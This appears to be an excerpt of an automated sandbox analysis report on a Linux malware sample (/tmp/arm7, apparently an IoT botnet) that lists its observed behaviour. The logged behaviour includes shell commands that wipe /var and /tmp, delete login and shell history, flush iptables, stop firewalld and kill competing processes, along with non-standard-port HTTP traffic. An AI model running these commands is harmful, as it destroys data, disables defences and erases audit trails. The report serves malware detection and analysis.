Source: /bin/sh (PID: 5438)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5440)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5442)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5444)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5552)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5554)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5556)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5558)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5560)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5562)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5564)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5566)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior

Enumerates processes within the "proc" file system

Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/5022/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/5022/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/5147/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/5147/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1582/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/3088/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/230/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/230/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/110/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/110/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/231/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/231/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/111/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/111/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/232/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/232/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1579/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/112/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/112/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/233/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/233/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1699/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/113/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/113/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/234/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/234/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1335/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1698/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/114/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/114/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/235/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/235/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1334/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1576/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/2302/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/115/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/115/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/236/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/236/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/116/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/116/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/237/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/237/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/117/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/117/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/118/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/118/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/910/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/910/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/119/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/119/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/912/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/912/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/10/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/10/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/2307/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/11/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/11/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/918/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/918/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/12/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/12/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/13/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/13/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/14/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/14/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/15/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/15/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/16/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/16/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/17/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/17/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/18/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/18/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/5279/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/5279/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1594/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/120/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/120/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/121/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/121/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1349/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/1/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/122/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/122/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/243/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/243/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/123/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/123/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/2/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/2/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/124/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	File opened: /proc/124/cmdline	Jump to behavior

Creates hidden files and/or directories

Source: /usr/bin/whoopsie (PID: 5355)

Directory: /nonexistent/.cache

Jump to behavior

Executes the "iptables" command used for managing IP filtering and manipulation

Source: /bin/sh (PID: 5310)	Iptables executable: /sbin/iptables -> /sbin/iptables -F			Jump to behavior
Source: /bin/sh (PID: 5311)	Iptables executable: /sbin/iptables -> /sbin/iptables -X			Jump to behavior

Sample tries to set the executable flag

Source: /usr/bin/whoopsie (PID: 5355)	File: /var/crash (bits: gv usr: rwx grp: rwx all: rwx)	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5500)	File: /var/run/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5500)	File: /var/log/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5579)	File: /var/run/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5579)	File: /var/log/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior

Executes commands using a shell command-line interpreter

Source: /tmp/arm7 (PID: 5255)	Shell command executed: /bin/sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"	Jump to behavior
Source: /tmp/arm7 (PID: 5262)	Shell command executed: /bin/sh -c "rm -rf /var/log/wtmp"	Jump to behavior
Source: /tmp/arm7 (PID: 5269)	Shell command executed: /bin/sh -c "rm -rf /tmp/*"	Jump to behavior
Source: /tmp/arm7 (PID: 5272)	Shell command executed: /bin/sh -c "rm -rf /bin/netstat"	Jump to behavior
Source: /tmp/arm7 (PID: 5275)	Shell command executed: /bin/sh -c "iptables -F"	Jump to behavior
Source: /tmp/arm7 (PID: 5281)	Shell command executed: /bin/sh -c "pkill -9 busybox"	Jump to behavior
Source: /tmp/arm7 (PID: 5287)	Shell command executed: /bin/sh -c "pkill -9 perl"	Jump to behavior
Source: /tmp/arm7 (PID: 5292)	Shell command executed: /bin/sh -c "pkill -9 python"	Jump to behavior
Source: /tmp/arm7 (PID: 5295)	Shell command executed: /bin/sh -c "service iptables stop"	Jump to behavior
Source: /tmp/arm7 (PID: 5308)	Shell command executed: /bin/sh -c "/sbin/iptables -F; /sbin/iptables -X"	Jump to behavior
Source: /tmp/arm7 (PID: 5312)	Shell command executed: /bin/sh -c "service firewalld stop"	Jump to behavior
Source: /tmp/arm7 (PID: 5323)	Shell command executed: /bin/sh -c "rm -rf ~/.bash_history"	Jump to behavior
Source: /tmp/arm7 (PID: 5326)	Shell command executed: /bin/sh -c "history -c"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5429)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5431)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5433)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5435)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5437)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5439)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5441)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5443)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5551)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5553)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5555)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5557)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5559)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5561)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5563)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5565)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior

Executes the "rm" command used to delete files or directories

Source: /bin/sh (PID: 5257)	Rm executable: /usr/bin/rm -> rm -rf /tmp/arm7 /tmp/config-err-dHT8bZ /tmp/dmesgtail.log /tmp/snap.lxd /tmp/ssh-hOQ5FjG2iVgO /tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-ModemManager.service-c4RYFi /tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-colord.service-gKIF8e /tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-fwupd.service-gB0a9f /tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-switcheroo-control.service-APWnLg /tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-systemd-logind.service-IofUpj /tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-systemd-resolved.service-AfPZzg /tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-upower.service-x0xO0i /tmp/vmware-root_721-4290559889 /var/backups /var/cache /var/crash /var/lib /var/local /var/lock /var/log /var/mail /var/metrics /var/opt /var/run /var/snap /var/spool /var/tmp /var/run/NetworkManager /var/run/acpid.pid /var/run/acpid.socket /var/run/apport.lock /var/run/avahi-daemon /var/run/blkid /var/run/cloud-init /var/run/console-setup /var/run/crond.pid /var/run/crond.reboot /var/run/cryptsetup /var/run/cups /var/run/dbus /var/run/dmeventd-client /var/run/dmeventd-server /var/run/gdm3 /var/run/gdm3.pid /var/run/initctl /var/run/initramfs /var/run/irqbalance /var/run/lock /var/run/log /var/run/lvm /var/run/mlocate.daily.lock /var/run/mono-xsp4 /var/run/mono-xsp4.pid /var/run/motd.d /var/run/mount /var/run/multipathd.pid /var/run/netns /var/run/network /var/run/screen /var/run/sendsigs.omit.d /var/run/shm /var/run/snapd /var/run/snapd-snap.socket /var/run/snapd.socket /var/run/speech-dispatcher /var/run/spice-vdagentd /var/run/sshd /var/run/sshd.pid /var/run/sudo /var/run/systemd /var/run/tmpfiles.d /var/run/udev /var/run/udisks2 /var/run/unattended-upgrades.lock /var/run/user /var/run/utmp /var/run/uuidd /var/run/vmware /var/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-ModemManager.service-J6Q1Te /var/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-colord.service-srP90f /var/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-fwupd.service-biJ0Gi /var/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-switcheroo-control.service-1jIxdj /var/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-systemd-logind.service-llmWag /var/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-systemd-resolved.service-X16eHh /var/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-upower.service-GpSnaf	Jump to behavior
Source: /bin/sh (PID: 5268)	Rm executable: /usr/bin/rm -> rm -rf /var/log/wtmp	Jump to behavior
Source: /bin/sh (PID: 5271)	Rm executable: /usr/bin/rm -> rm -rf /tmp/*	Jump to behavior
Source: /bin/sh (PID: 5274)	Rm executable: /usr/bin/rm -> rm -rf /bin/netstat	Jump to behavior
Source: /bin/sh (PID: 5325)	Rm executable: /usr/bin/rm -> rm -rf /root/.bash_history	Jump to behavior

Source: /usr/bin/gpu-manager (PID: 5550)

Log file created: /var/log/gpu-manager.log

Jump to dropped file

Source: /usr/sbin/service (PID: 5304)	Sed executable: /usr/bin/sed -> sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p			Jump to behavior
Source: /usr/sbin/service (PID: 5320)	Sed executable: /usr/bin/sed -> sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p			Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Sample deletes itself

Source: /usr/bin/rm (PID: 5257)

File: /tmp/arm7

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41418 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33754 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40188
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40202
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40220
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40240
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40256
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40268
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40272
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40276
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40288
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40304
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40326
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40334
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40344
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40354
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40360
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40370
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40376
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40378
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40392
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40422
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40458
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40478
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40486
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40496
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40502
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40506
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40522
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40530
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
